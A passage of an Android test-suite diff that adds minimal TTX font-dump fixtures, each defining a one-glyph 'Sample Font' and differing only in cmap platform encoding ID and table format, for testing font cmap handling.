+<!-- Copyright (C) 2017 The Android Open Source Project
+
+     Licensed under the Apache License, Version 2.0 (the "License");
+     you may not use this file except in compliance with the License.
+     You may obtain a copy of the License at
+
+          http://www.apache.org/licenses/LICENSE-2.0
+
+     Unless required by applicable law or agreed to in writing, software
+     distributed under the License is distributed on an "AS IS" BASIS
+     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+     See the License for the specific language governing permissions and
+     limitations under the License.
+-->
+<ttFont sfntVersion="\x00\x01\x00\x00" ttLibVersion="3.0">
+
+  <GlyphOrder>
+    <GlyphID id="0" name=".notdef"/>
+    <GlyphID id="1" name="a" />
+  </GlyphOrder>
+
+  <head>
+    <tableVersion value="1.0"/>
+    <fontRevision value="1.0"/>
+    <checkSumAdjustment value="0x640cdb2f"/>
+    <magicNumber value="0x5f0f3cf5"/>
+    <flags value="00000000 00000011"/>
+    <unitsPerEm value="1000"/>
+    <created value="Fri Mar 17 07:31:00 2017"/>
+    <macStyle value="00000000 00000000"/>
+    <lowestRecPPEM value="7"/>
+    <fontDirectionHint value="2"/>
+    <glyphDataFormat value="0"/>
+  </head>
+
+  <hhea>
+    <tableVersion value="1.0"/>
+    <ascent value="1000"/>
+    <descent value="-200"/>
+    <lineGap value="0"/>
+    <caretSlopeRise value="1"/>
+    <caretSlopeRun value="0"/>
+    <caretOffset value="0"/>
+    <reserved0 value="0"/>
+    <reserved1 value="0"/>
+    <reserved2 value="0"/>
+    <reserved3 value="0"/>
+    <metricDataFormat value="0"/>
+  </hhea>
+
+  <maxp>
+    <tableVersion value="0x10000"/>
+    <maxZones value="0"/>
+    <maxTwilightPoints value="0"/>
+    <maxStorage value="0"/>
+    <maxFunctionDefs value="0"/>
+    <maxInstructionDefs value="0"/>
+    <maxStackElements value="0"/>
+    <maxSizeOfInstructions value="0"/>
+    <maxComponentElements value="0"/>
+  </maxp>
+
+  <OS_2>
+    <!-- The fields 'usFirstCharIndex' and 'usLastCharIndex'
+         will be recalculated by the compiler -->
+    <version value="3"/>
+    <xAvgCharWidth value="594"/>
+    <usWeightClass value="400"/>
+    <usWidthClass value="5"/>
+    <fsType value="00000000 00001000"/>
+    <ySubscriptXSize value="650"/>
+    <ySubscriptYSize value="600"/>
+    <ySubscriptXOffset value="0"/>
+    <ySubscriptYOffset value="75"/>
+    <ySuperscriptXSize value="650"/>
+    <ySuperscriptYSize value="600"/>
+    <ySuperscriptXOffset value="0"/>
+    <ySuperscriptYOffset value="350"/>
+    <yStrikeoutSize value="50"/>
+    <yStrikeoutPosition value="300"/>
+    <sFamilyClass value="0"/>
+    <panose>
+      <bFamilyType value="0"/>
+      <bSerifStyle value="0"/>
+      <bWeight value="5"/>
+      <bProportion value="0"/>
+      <bContrast value="0"/>
+      <bStrokeVariation value="0"/>
+      <bArmStyle value="0"/>
+      <bLetterForm value="0"/>
+      <bMidline value="0"/>
+      <bXHeight value="0"/>
+    </panose>
+    <ulUnicodeRange1 value="00000000 00000000 00000000 00000001"/>
+    <ulUnicodeRange2 value="00000000 00000000 00000000 00000000"/>
+    <ulUnicodeRange3 value="00000000 00000000 00000000 00000000"/>
+    <ulUnicodeRange4 value="00000000 00000000 00000000 00000000"/>
+    <achVendID value="UKWN"/>
+    <fsSelection value="00000000 01000000"/>
+    <usFirstCharIndex value="32"/>
+    <usLastCharIndex value="122"/>
+    <sTypoAscender value="800"/>
+    <sTypoDescender value="-200"/>
+    <sTypoLineGap value="200"/>
+    <usWinAscent value="1000"/>
+    <usWinDescent value="200"/>
+    <ulCodePageRange1 value="00000000 00000000 00000000 00000001"/>
+    <ulCodePageRange2 value="00000000 00000000 00000000 00000000"/>
+    <sxHeight value="500"/>
+    <sCapHeight value="700"/>
+    <usDefaultChar value="0"/>
+    <usBreakChar value="32"/>
+    <usMaxContext value="0"/>
+  </OS_2>
+
+  <hmtx>
+    <mtx name=".notdef" width="500" lsb="93"/>
+    <mtx name="a" width="2000" lsb="93" />
+  </hmtx>
+
+  <cmap>
+    <tableVersion version="0"/>
+    <cmap_format_4 platformID="0" platEncID="1" language="0">
+      <map code="0x0061" name="a" />
+    </cmap_format_4>
+  </cmap>
+
+  <loca>
+    <!-- The 'loca' table will be calculated by the compiler -->
+  </loca>
+
+  <glyf>
+    <TTGlyph name=".notdef" />
+    <TTGlyph name="a" xMin="0" yMin="169" xMax="2000" yMax="2000"/>
+  </glyf>
+
+  <name>
+    <namerecord nameID="1" platformID="1" platEncID="0" langID="0x0" unicode="True">
+      Sample Font
+    </namerecord>
+    <namerecord nameID="2" platformID="1" platEncID="0" langID="0x0" unicode="True">
+      Regular
+    </namerecord>
+    <namerecord nameID="4" platformID="1" platEncID="0" langID="0x0" unicode="True">
+      Sample Font
+    </namerecord>
+    <namerecord nameID="6" platformID="1" platEncID="0" langID="0x0" unicode="True">
+      SampleFont-Regular
+    </namerecord>
+    <namerecord nameID="1" platformID="3" platEncID="1" langID="0x409">
+      Sample Font
+    </namerecord>
+    <namerecord nameID="2" platformID="3" platEncID="1" langID="0x409">
+      Regular
+    </namerecord>
+    <namerecord nameID="4" platformID="3" platEncID="1" langID="0x409">
+      Sample Font
+    </namerecord>
+    <namerecord nameID="6" platformID="3" platEncID="1" langID="0x409">
+      SampleFont-Regular
+    </namerecord>
+  </name>
+
+  <post>
+    <formatType value="3.0"/>
+    <italicAngle value="0.0"/>
+    <underlinePosition value="-75"/>
+    <underlineThickness value="50"/>
+    <isFixedPitch value="0"/>
+    <minMemType42 value="0"/>
+    <maxMemType42 value="0"/>
+    <minMemType1 value="0"/>
+    <maxMemType1 value="0"/>
+  </post>
+
+</ttFont>
diff --git a/tests/tests/graphics/assets/CmapPlatform0Encoding2.ttf b/tests/tests/graphics/assets/CmapPlatform0Encoding2.ttf
new file mode 100644
index 0000000..b3810b5
--- /dev/null
+++ b/tests/tests/graphics/assets/CmapPlatform0Encoding2.ttf
Binary files differ
diff --git a/tests/tests/graphics/assets/CmapPlatform0Encoding2.ttx b/tests/tests/graphics/assets/CmapPlatform0Encoding2.ttx
new file mode 100644
index 0000000..5234163
--- /dev/null
+++ b/tests/tests/graphics/assets/CmapPlatform0Encoding2.ttx
@@ -0,0 +1,177 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!-- Copyright (C) 2017 The Android Open Source Project
+
+     Licensed under the Apache License, Version 2.0 (the "License");
+     you may not use this file except in compliance with the License.
+     You may obtain a copy of the License at
+
+          http://www.apache.org/licenses/LICENSE-2.0
+
+     Unless required by applicable law or agreed to in writing, software
+     distributed under the License is distributed on an "AS IS" BASIS
+     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+     See the License for the specific language governing permissions and
+     limitations under the License.
+-->
+<ttFont sfntVersion="\x00\x01\x00\x00" ttLibVersion="3.0">
+
+  <GlyphOrder>
+    <GlyphID id="0" name=".notdef"/>
+    <GlyphID id="1" name="a" />
+  </GlyphOrder>
+
+  <head>
+    <tableVersion value="1.0"/>
+    <fontRevision value="1.0"/>
+    <checkSumAdjustment value="0x640cdb2f"/>
+    <magicNumber value="0x5f0f3cf5"/>
+    <flags value="00000000 00000011"/>
+    <unitsPerEm value="1000"/>
+    <created value="Fri Mar 17 07:31:00 2017"/>
+    <macStyle value="00000000 00000000"/>
+    <lowestRecPPEM value="7"/>
+    <fontDirectionHint value="2"/>
+    <glyphDataFormat value="0"/>
+  </head>
+
+  <hhea>
+    <tableVersion value="1.0"/>
+    <ascent value="1000"/>
+    <descent value="-200"/>
+    <lineGap value="0"/>
+    <caretSlopeRise value="1"/>
+    <caretSlopeRun value="0"/>
+    <caretOffset value="0"/>
+    <reserved0 value="0"/>
+    <reserved1 value="0"/>
+    <reserved2 value="0"/>
+    <reserved3 value="0"/>
+    <metricDataFormat value="0"/>
+  </hhea>
+
+  <maxp>
+    <tableVersion value="0x10000"/>
+    <maxZones value="0"/>
+    <maxTwilightPoints value="0"/>
+    <maxStorage value="0"/>
+    <maxFunctionDefs value="0"/>
+    <maxInstructionDefs value="0"/>
+    <maxStackElements value="0"/>
+    <maxSizeOfInstructions value="0"/>
+    <maxComponentElements value="0"/>
+  </maxp>
+
+  <OS_2>
+    <!-- The fields 'usFirstCharIndex' and 'usLastCharIndex'
+         will be recalculated by the compiler -->
+    <version value="3"/>
+    <xAvgCharWidth value="594"/>
+    <usWeightClass value="400"/>
+    <usWidthClass value="5"/>
+    <fsType value="00000000 00001000"/>
+    <ySubscriptXSize value="650"/>
+    <ySubscriptYSize value="600"/>
+    <ySubscriptXOffset value="0"/>
+    <ySubscriptYOffset value="75"/>
+    <ySuperscriptXSize value="650"/>
+    <ySuperscriptYSize value="600"/>
+    <ySuperscriptXOffset value="0"/>
+    <ySuperscriptYOffset value="350"/>
+    <yStrikeoutSize value="50"/>
+    <yStrikeoutPosition value="300"/>
+    <sFamilyClass value="0"/>
+    <panose>
+      <bFamilyType value="0"/>
+      <bSerifStyle value="0"/>
+      <bWeight value="5"/>
+      <bProportion value="0"/>
+      <bContrast value="0"/>
+      <bStrokeVariation value="0"/>
+      <bArmStyle value="0"/>
+      <bLetterForm value="0"/>
+      <bMidline value="0"/>
+      <bXHeight value="0"/>
+    </panose>
+    <ulUnicodeRange1 value="00000000 00000000 00000000 00000001"/>
+    <ulUnicodeRange2 value="00000000 00000000 00000000 00000000"/>
+    <ulUnicodeRange3 value="00000000 00000000 00000000 00000000"/>
+    <ulUnicodeRange4 value="00000000 00000000 00000000 00000000"/>
+    <achVendID value="UKWN"/>
+    <fsSelection value="00000000 01000000"/>
+    <usFirstCharIndex value="32"/>
+    <usLastCharIndex value="122"/>
+    <sTypoAscender value="800"/>
+    <sTypoDescender value="-200"/>
+    <sTypoLineGap value="200"/>
+    <usWinAscent value="1000"/>
+    <usWinDescent value="200"/>
+    <ulCodePageRange1 value="00000000 00000000 00000000 00000001"/>
+    <ulCodePageRange2 value="00000000 00000000 00000000 00000000"/>
+    <sxHeight value="500"/>
+    <sCapHeight value="700"/>
+    <usDefaultChar value="0"/>
+    <usBreakChar value="32"/>
+    <usMaxContext value="0"/>
+  </OS_2>
+
+  <hmtx>
+    <mtx name=".notdef" width="500" lsb="93"/>
+    <mtx name="a" width="2000" lsb="93" />
+  </hmtx>
+
+  <cmap>
+    <tableVersion version="0"/>
+    <cmap_format_4 platformID="0" platEncID="2" language="0">
+      <map code="0x0061" name="a" />
+    </cmap_format_4>
+  </cmap>
+
+  <loca>
+    <!-- The 'loca' table will be calculated by the compiler -->
+  </loca>
+
+  <glyf>
+    <TTGlyph name=".notdef" />
+    <TTGlyph name="a" xMin="0" yMin="169" xMax="2000" yMax="2000"/>
+  </glyf>
+
+  <name>
+    <namerecord nameID="1" platformID="1" platEncID="0" langID="0x0" unicode="True">
+      Sample Font
+    </namerecord>
+    <namerecord nameID="2" platformID="1" platEncID="0" langID="0x0" unicode="True">
+      Regular
+    </namerecord>
+    <namerecord nameID="4" platformID="1" platEncID="0" langID="0x0" unicode="True">
+      Sample Font
+    </namerecord>
+    <namerecord nameID="6" platformID="1" platEncID="0" langID="0x0" unicode="True">
+      SampleFont-Regular
+    </namerecord>
+    <namerecord nameID="1" platformID="3" platEncID="1" langID="0x409">
+      Sample Font
+    </namerecord>
+    <namerecord nameID="2" platformID="3" platEncID="1" langID="0x409">
+      Regular
+    </namerecord>
+    <namerecord nameID="4" platformID="3" platEncID="1" langID="0x409">
+      Sample Font
+    </namerecord>
+    <namerecord nameID="6" platformID="3" platEncID="1" langID="0x409">
+      SampleFont-Regular
+    </namerecord>
+  </name>
+
+  <post>
+    <formatType value="3.0"/>
+    <italicAngle value="0.0"/>
+    <underlinePosition value="-75"/>
+    <underlineThickness value="50"/>
+    <isFixedPitch value="0"/>
+    <minMemType42 value="0"/>
+    <maxMemType42 value="0"/>
+    <minMemType1 value="0"/>
+    <maxMemType1 value="0"/>
+  </post>
+
+</ttFont>
diff --git a/tests/tests/graphics/assets/CmapPlatform0Encoding3.ttf b/tests/tests/graphics/assets/CmapPlatform0Encoding3.ttf
new file mode 100644
index 0000000..f7a95bf
--- /dev/null
+++ b/tests/tests/graphics/assets/CmapPlatform0Encoding3.ttf
Binary files differ
diff --git a/tests/tests/graphics/assets/CmapPlatform0Encoding3.ttx b/tests/tests/graphics/assets/CmapPlatform0Encoding3.ttx
new file mode 100644
index 0000000..c4cb5cf
--- /dev/null
+++ b/tests/tests/graphics/assets/CmapPlatform0Encoding3.ttx
@@ -0,0 +1,177 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!-- Copyright (C) 2017 The Android Open Source Project
+
+     Licensed under the Apache License, Version 2.0 (the "License");
+     you may not use this file except in compliance with the License.
+     You may obtain a copy of the License at
+
+          http://www.apache.org/licenses/LICENSE-2.0
+
+     Unless required by applicable law or agreed to in writing, software
+     distributed under the License is distributed on an "AS IS" BASIS
+     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+     See the License for the specific language governing permissions and
+     limitations under the License.
+-->
+<ttFont sfntVersion="\x00\x01\x00\x00" ttLibVersion="3.0">
+
+  <GlyphOrder>
+    <GlyphID id="0" name=".notdef"/>
+    <GlyphID id="1" name="a" />
+  </GlyphOrder>
+
+  <head>
+    <tableVersion value="1.0"/>
+    <fontRevision value="1.0"/>
+    <checkSumAdjustment value="0x640cdb2f"/>
+    <magicNumber value="0x5f0f3cf5"/>
+    <flags value="00000000 00000011"/>
+    <unitsPerEm value="1000"/>
+    <created value="Fri Mar 17 07:31:00 2017"/>
+    <macStyle value="00000000 00000000"/>
+    <lowestRecPPEM value="7"/>
+    <fontDirectionHint value="2"/>
+    <glyphDataFormat value="0"/>
+  </head>
+
+  <hhea>
+    <tableVersion value="1.0"/>
+    <ascent value="1000"/>
+    <descent value="-200"/>
+    <lineGap value="0"/>
+    <caretSlopeRise value="1"/>
+    <caretSlopeRun value="0"/>
+    <caretOffset value="0"/>
+    <reserved0 value="0"/>
+    <reserved1 value="0"/>
+    <reserved2 value="0"/>
+    <reserved3 value="0"/>
+    <metricDataFormat value="0"/>
+  </hhea>
+
+  <maxp>
+    <tableVersion value="0x10000"/>
+    <maxZones value="0"/>
+    <maxTwilightPoints value="0"/>
+    <maxStorage value="0"/>
+    <maxFunctionDefs value="0"/>
+    <maxInstructionDefs value="0"/>
+    <maxStackElements value="0"/>
+    <maxSizeOfInstructions value="0"/>
+    <maxComponentElements value="0"/>
+  </maxp>
+
+  <OS_2>
+    <!-- The fields 'usFirstCharIndex' and 'usLastCharIndex'
+         will be recalculated by the compiler -->
+    <version value="3"/>
+    <xAvgCharWidth value="594"/>
+    <usWeightClass value="400"/>
+    <usWidthClass value="5"/>
+    <fsType value="00000000 00001000"/>
+    <ySubscriptXSize value="650"/>
+    <ySubscriptYSize value="600"/>
+    <ySubscriptXOffset value="0"/>
+    <ySubscriptYOffset value="75"/>
+    <ySuperscriptXSize value="650"/>
+    <ySuperscriptYSize value="600"/>
+    <ySuperscriptXOffset value="0"/>
+    <ySuperscriptYOffset value="350"/>
+    <yStrikeoutSize value="50"/>
+    <yStrikeoutPosition value="300"/>
+    <sFamilyClass value="0"/>
+    <panose>
+      <bFamilyType value="0"/>
+      <bSerifStyle value="0"/>
+      <bWeight value="5"/>
+      <bProportion value="0"/>
+      <bContrast value="0"/>
+      <bStrokeVariation value="0"/>
+      <bArmStyle value="0"/>
+      <bLetterForm value="0"/>
+      <bMidline value="0"/>
+      <bXHeight value="0"/>
+    </panose>
+    <ulUnicodeRange1 value="00000000 00000000 00000000 00000001"/>
+    <ulUnicodeRange2 value="00000000 00000000 00000000 00000000"/>
+    <ulUnicodeRange3 value="00000000 00000000 00000000 00000000"/>
+    <ulUnicodeRange4 value="00000000 00000000 00000000 00000000"/>
+    <achVendID value="UKWN"/>
+    <fsSelection value="00000000 01000000"/>
+    <usFirstCharIndex value="32"/>
+    <usLastCharIndex value="122"/>
+    <sTypoAscender value="800"/>
+    <sTypoDescender value="-200"/>
+    <sTypoLineGap value="200"/>
+    <usWinAscent value="1000"/>
+    <usWinDescent value="200"/>
+    <ulCodePageRange1 value="00000000 00000000 00000000 00000001"/>
+    <ulCodePageRange2 value="00000000 00000000 00000000 00000000"/>
+    <sxHeight value="500"/>
+    <sCapHeight value="700"/>
+    <usDefaultChar value="0"/>
+    <usBreakChar value="32"/>
+    <usMaxContext value="0"/>
+  </OS_2>
+
+  <hmtx>
+    <mtx name=".notdef" width="500" lsb="93"/>
+    <mtx name="a" width="2000" lsb="93" />
+  </hmtx>
+
+  <cmap>
+    <tableVersion version="0"/>
+    <cmap_format_4 platformID="0" platEncID="3" language="0">
+      <map code="0x0061" name="a" />
+    </cmap_format_4>
+  </cmap>
+
+  <loca>
+    <!-- The 'loca' table will be calculated by the compiler -->
+  </loca>
+
+  <glyf>
+    <TTGlyph name=".notdef" />
+    <TTGlyph name="a" xMin="0" yMin="169" xMax="2000" yMax="2000"/>
+  </glyf>
+
+  <name>
+    <namerecord nameID="1" platformID="1" platEncID="0" langID="0x0" unicode="True">
+      Sample Font
+    </namerecord>
+    <namerecord nameID="2" platformID="1" platEncID="0" langID="0x0" unicode="True">
+      Regular
+    </namerecord>
+    <namerecord nameID="4" platformID="1" platEncID="0" langID="0x0" unicode="True">
+      Sample Font
+    </namerecord>
+    <namerecord nameID="6" platformID="1" platEncID="0" langID="0x0" unicode="True">
+      SampleFont-Regular
+    </namerecord>
+    <namerecord nameID="1" platformID="3" platEncID="1" langID="0x409">
+      Sample Font
+    </namerecord>
+    <namerecord nameID="2" platformID="3" platEncID="1" langID="0x409">
+      Regular
+    </namerecord>
+    <namerecord nameID="4" platformID="3" platEncID="1" langID="0x409">
+      Sample Font
+    </namerecord>
+    <namerecord nameID="6" platformID="3" platEncID="1" langID="0x409">
+      SampleFont-Regular
+    </namerecord>
+  </name>
+
+  <post>
+    <formatType value="3.0"/>
+    <italicAngle value="0.0"/>
+    <underlinePosition value="-75"/>
+    <underlineThickness value="50"/>
+    <isFixedPitch value="0"/>
+    <minMemType42 value="0"/>
+    <maxMemType42 value="0"/>
+    <minMemType1 value="0"/>
+    <maxMemType1 value="0"/>
+  </post>
+
+</ttFont>
diff --git a/tests/tests/graphics/assets/CmapPlatform0Encoding4.ttf b/tests/tests/graphics/assets/CmapPlatform0Encoding4.ttf
new file mode 100644
index 0000000..6e7b14e
--- /dev/null
+++ b/tests/tests/graphics/assets/CmapPlatform0Encoding4.ttf
Binary files differ
diff --git a/tests/tests/graphics/assets/CmapPlatform0Encoding4.ttx b/tests/tests/graphics/assets/CmapPlatform0Encoding4.ttx
new file mode 100644
index 0000000..b7c03c1
--- /dev/null
+++ b/tests/tests/graphics/assets/CmapPlatform0Encoding4.ttx
@@ -0,0 +1,177 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!-- Copyright (C) 2017 The Android Open Source Project
+
+     Licensed under the Apache License, Version 2.0 (the "License");
+     you may not use this file except in compliance with the License.
+     You may obtain a copy of the License at
+
+          http://www.apache.org/licenses/LICENSE-2.0
+
+     Unless required by applicable law or agreed to in writing, software
+     distributed under the License is distributed on an "AS IS" BASIS
+     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+     See the License for the specific language governing permissions and
+     limitations under the License.
+-->
+<ttFont sfntVersion="\x00\x01\x00\x00" ttLibVersion="3.0">
+
+  <GlyphOrder>
+    <GlyphID id="0" name=".notdef"/>
+    <GlyphID id="1" name="a" />
+  </GlyphOrder>
+
+  <head>
+    <tableVersion value="1.0"/>
+    <fontRevision value="1.0"/>
+    <checkSumAdjustment value="0x640cdb2f"/>
+    <magicNumber value="0x5f0f3cf5"/>
+    <flags value="00000000 00000011"/>
+    <unitsPerEm value="1000"/>
+    <created value="Fri Mar 17 07:31:00 2017"/>
+    <macStyle value="00000000 00000000"/>
+    <lowestRecPPEM value="7"/>
+    <fontDirectionHint value="2"/>
+    <glyphDataFormat value="0"/>
+  </head>
+
+  <hhea>
+    <tableVersion value="1.0"/>
+    <ascent value="1000"/>
+    <descent value="-200"/>
+    <lineGap value="0"/>
+    <caretSlopeRise value="1"/>
+    <caretSlopeRun value="0"/>
+    <caretOffset value="0"/>
+    <reserved0 value="0"/>
+    <reserved1 value="0"/>
+    <reserved2 value="0"/>
+    <reserved3 value="0"/>
+    <metricDataFormat value="0"/>
+  </hhea>
+
+  <maxp>
+    <tableVersion value="0x10000"/>
+    <maxZones value="0"/>
+    <maxTwilightPoints value="0"/>
+    <maxStorage value="0"/>
+    <maxFunctionDefs value="0"/>
+    <maxInstructionDefs value="0"/>
+    <maxStackElements value="0"/>
+    <maxSizeOfInstructions value="0"/>
+    <maxComponentElements value="0"/>
+  </maxp>
+
+  <OS_2>
+    <!-- The fields 'usFirstCharIndex' and 'usLastCharIndex'
+         will be recalculated by the compiler -->
+    <version value="3"/>
+    <xAvgCharWidth value="594"/>
+    <usWeightClass value="400"/>
+    <usWidthClass value="5"/>
+    <fsType value="00000000 00001000"/>
+    <ySubscriptXSize value="650"/>
+    <ySubscriptYSize value="600"/>
+    <ySubscriptXOffset value="0"/>
+    <ySubscriptYOffset value="75"/>
+    <ySuperscriptXSize value="650"/>
+    <ySuperscriptYSize value="600"/>
+    <ySuperscriptXOffset value="0"/>
+    <ySuperscriptYOffset value="350"/>
+    <yStrikeoutSize value="50"/>
+    <yStrikeoutPosition value="300"/>
+    <sFamilyClass value="0"/>
+    <panose>
+      <bFamilyType value="0"/>
+      <bSerifStyle value="0"/>
+      <bWeight value="5"/>
+      <bProportion value="0"/>
+      <bContrast value="0"/>
+      <bStrokeVariation value="0"/>
+      <bArmStyle value="0"/>
+      <bLetterForm value="0"/>
+      <bMidline value="0"/>
+      <bXHeight value="0"/>
+    </panose>
+    <ulUnicodeRange1 value="00000000 00000000 00000000 00000001"/>
+    <ulUnicodeRange2 value="00000000 00000000 00000000 00000000"/>
+    <ulUnicodeRange3 value="00000000 00000000 00000000 00000000"/>
+    <ulUnicodeRange4 value="00000000 00000000 00000000 00000000"/>
+    <achVendID value="UKWN"/>
+    <fsSelection value="00000000 01000000"/>
+    <usFirstCharIndex value="32"/>
+    <usLastCharIndex value="122"/>
+    <sTypoAscender value="800"/>
+    <sTypoDescender value="-200"/>
+    <sTypoLineGap value="200"/>
+    <usWinAscent value="1000"/>
+    <usWinDescent value="200"/>
+    <ulCodePageRange1 value="00000000 00000000 00000000 00000001"/>
+    <ulCodePageRange2 value="00000000 00000000 00000000 00000000"/>
+    <sxHeight value="500"/>
+    <sCapHeight value="700"/>
+    <usDefaultChar value="0"/>
+    <usBreakChar value="32"/>
+    <usMaxContext value="0"/>
+  </OS_2>
+
+  <hmtx>
+    <mtx name=".notdef" width="500" lsb="93"/>
+    <mtx name="a" width="2000" lsb="93" />
+  </hmtx>
+
+  <cmap>
+    <tableVersion version="0"/>
+    <cmap_format_12 format="12" reserved="0" length="1" nGroups="1" platformID="0" platEncID="4" language="0">
+      <map code="0x0061" name="a" />
+    </cmap_format_12>
+  </cmap>
+
+  <loca>
+    <!-- The 'loca' table will be calculated by the compiler -->
+  </loca>
+
+  <glyf>
+    <TTGlyph name=".notdef" />
+    <TTGlyph name="a" xMin="0" yMin="169" xMax="2000" yMax="2000"/>
+  </glyf>
+
+  <name>
+    <namerecord nameID="1" platformID="1" platEncID="0" langID="0x0" unicode="True">
+      Sample Font
+    </namerecord>
+    <namerecord nameID="2" platformID="1" platEncID="0" langID="0x0" unicode="True">
+      Regular
+    </namerecord>
+    <namerecord nameID="4" platformID="1" platEncID="0" langID="0x0" unicode="True">
+      Sample Font
+    </namerecord>
+    <namerecord nameID="6" platformID="1" platEncID="0" langID="0x0" unicode="True">
+      SampleFont-Regular
+    </namerecord>
+    <namerecord nameID="1" platformID="3" platEncID="1" langID="0x409">
+      Sample Font
+    </namerecord>
+    <namerecord nameID="2" platformID="3" platEncID="1" langID="0x409">
+      Regular
+    </namerecord>
+    <namerecord nameID="4" platformID="3" platEncID="1" langID="0x409">
+      Sample Font
+    </namerecord>
+    <namerecord nameID="6" platformID="3" platEncID="1" langID="0x409">
+      SampleFont-Regular
+    </namerecord>
+  </name>
+
+  <post>
+    <formatType value="3.0"/>
+    <italicAngle value="0.0"/>
+    <underlinePosition value="-75"/>
+    <underlineThickness value="50"/>
+    <isFixedPitch value="0"/>
+    <minMemType42 value="0"/>
+    <maxMemType42 value="0"/>
+    <minMemType1 value="0"/>
+    <maxMemType1 value="0"/>
+  </post>
+
+</ttFont>
diff --git a/tests/tests/graphics/assets/CmapPlatform0Encoding6.ttf b/tests/tests/graphics/assets/CmapPlatform0Encoding6.ttf
new file mode 100644
index 0000000..acc8e6d
--- /dev/null
+++ b/tests/tests/graphics/assets/CmapPlatform0Encoding6.ttf
Binary files differ
diff --git a/tests/tests/graphics/assets/CmapPlatform0Encoding6.ttx b/tests/tests/graphics/assets/CmapPlatform0Encoding6.ttx
new file mode 100644
index 0000000..b576d95
--- /dev/null
+++ b/tests/tests/graphics/assets/CmapPlatform0Encoding6.ttx
@@ -0,0 +1,177 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!-- Copyright (C) 2017 The Android Open Source Project
+
+     Licensed under the Apache License, Version 2.0 (the "License");
+     you may not use this file except in compliance with the License.
+     You may obtain a copy of the License at
+
+          http://www.apache.org/licenses/LICENSE-2.0
+
+     Unless required by applicable law or agreed to in writing, software
+     distributed under the License is distributed on an "AS IS" BASIS
+     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+     See the License for the specific language governing permissions and
+     limitations under the License.
+-->
+<ttFont sfntVersion="\x00\x01\x00\x00" ttLibVersion="3.0">
+
+  <GlyphOrder>
+    <GlyphID id="0" name=".notdef"/>
+    <GlyphID id="1" name="a" />
+  </GlyphOrder>
+
+  <head>
+    <tableVersion value="1.0"/>
+    <fontRevision value="1.0"/>
+    <checkSumAdjustment value="0x640cdb2f"/>
+    <magicNumber value="0x5f0f3cf5"/>
+    <flags value="00000000 00000011"/>
+    <unitsPerEm value="1000"/>
+    <created value="Fri Mar 17 07:31:00 2017"/>
+    <macStyle value="00000000 00000000"/>
+    <lowestRecPPEM value="7"/>
+    <fontDirectionHint value="2"/>
+    <glyphDataFormat value="0"/>
+  </head>
+
+  <hhea>
+    <tableVersion value="1.0"/>
+    <ascent value="1000"/>
+    <descent value="-200"/>
+    <lineGap value="0"/>
+    <caretSlopeRise value="1"/>
+    <caretSlopeRun value="0"/>
+    <caretOffset value="0"/>
+    <reserved0 value="0"/>
+    <reserved1 value="0"/>
+    <reserved2 value="0"/>
+    <reserved3 value="0"/>
+    <metricDataFormat value="0"/>
+  </hhea>
+
+  <maxp>
+    <tableVersion value="0x10000"/>
+    <maxZones value="0"/>
+    <maxTwilightPoints value="0"/>
+    <maxStorage value="0"/>
+    <maxFunctionDefs value="0"/>
+    <maxInstructionDefs value="0"/>
+    <maxStackElements value="0"/>
+    <maxSizeOfInstructions value="0"/>
+    <maxComponentElements value="0"/>
+  </maxp>
+
+  <OS_2>
+    <!-- The fields 'usFirstCharIndex' and 'usLastCharIndex'
+         will be recalculated by the compiler -->
+    <version value="3"/>
+    <xAvgCharWidth value="594"/>
+    <usWeightClass value="400"/>
+    <usWidthClass value="5"/>
+    <fsType value="00000000 00001000"/>
+    <ySubscriptXSize value="650"/>
+    <ySubscriptYSize value="600"/>
+    <ySubscriptXOffset value="0"/>
+    <ySubscriptYOffset value="75"/>
+    <ySuperscriptXSize value="650"/>
+    <ySuperscriptYSize value="600"/>
+    <ySuperscriptXOffset value="0"/>
+    <ySuperscriptYOffset value="350"/>
+    <yStrikeoutSize value="50"/>
+    <yStrikeoutPosition value="300"/>
+    <sFamilyClass value="0"/>
+    <panose>
+      <bFamilyType value="0"/>
+      <bSerifStyle value="0"/>
+      <bWeight value="5"/>
+      <bProportion value="0"/>
+      <bContrast value="0"/>
+      <bStrokeVariation value="0"/>
+      <bArmStyle value="0"/>
+      <bLetterForm value="0"/>
+      <bMidline value="0"/>
+      <bXHeight value="0"/>
+    </panose>
+    <ulUnicodeRange1 value="00000000 00000000 00000000 00000001"/>
+    <ulUnicodeRange2 value="00000000 00000000 00000000 00000000"/>
+    <ulUnicodeRange3 value="00000000 00000000 00000000 00000000"/>
+    <ulUnicodeRange4 value="00000000 00000000 00000000 00000000"/>
+    <achVendID value="UKWN"/>
+    <fsSelection value="00000000 01000000"/>
+    <usFirstCharIndex value="32"/>
+    <usLastCharIndex value="122"/>
+    <sTypoAscender value="800"/>
+    <sTypoDescender value="-200"/>
+    <sTypoLineGap value="200"/>
+    <usWinAscent value="1000"/>
+    <usWinDescent value="200"/>
+    <ulCodePageRange1 value="00000000 00000000 00000000 00000001"/>
+    <ulCodePageRange2 value="00000000 00000000 00000000 00000000"/>
+    <sxHeight value="500"/>
+    <sCapHeight value="700"/>
+    <usDefaultChar value="0"/>
+    <usBreakChar value="32"/>
+    <usMaxContext value="0"/>
+  </OS_2>
+
+  <hmtx>
+    <mtx name=".notdef" width="500" lsb="93"/>
+    <mtx name="a" width="2000" lsb="93" />
+  </hmtx>
+
+  <cmap>
+    <tableVersion version="0"/>
+    <cmap_format_12 format="12" reserved="0" length="1" nGroups="1" platformID="0" platEncID="6" language="0">
+      <map code="0x0061" name="a" />
+    </cmap_format_12>
+  </cmap>
+
+  <loca>
+    <!-- The 'loca' table will be calculated by the compiler -->
+  </loca>
+
+  <glyf>
+    <TTGlyph name=".notdef" />
+    <TTGlyph name="a" xMin="0" yMin="169" xMax="2000" yMax="2000"/>
+  </glyf>
+
+  <name>
+    <namerecord nameID="1" platformID="1" platEncID="0" langID="0x0" unicode="True">
+      Sample Font
+    </namerecord>
+    <namerecord nameID="2" platformID="1" platEncID="0" langID="0x0" unicode="True">
+      Regular
+    </namerecord>
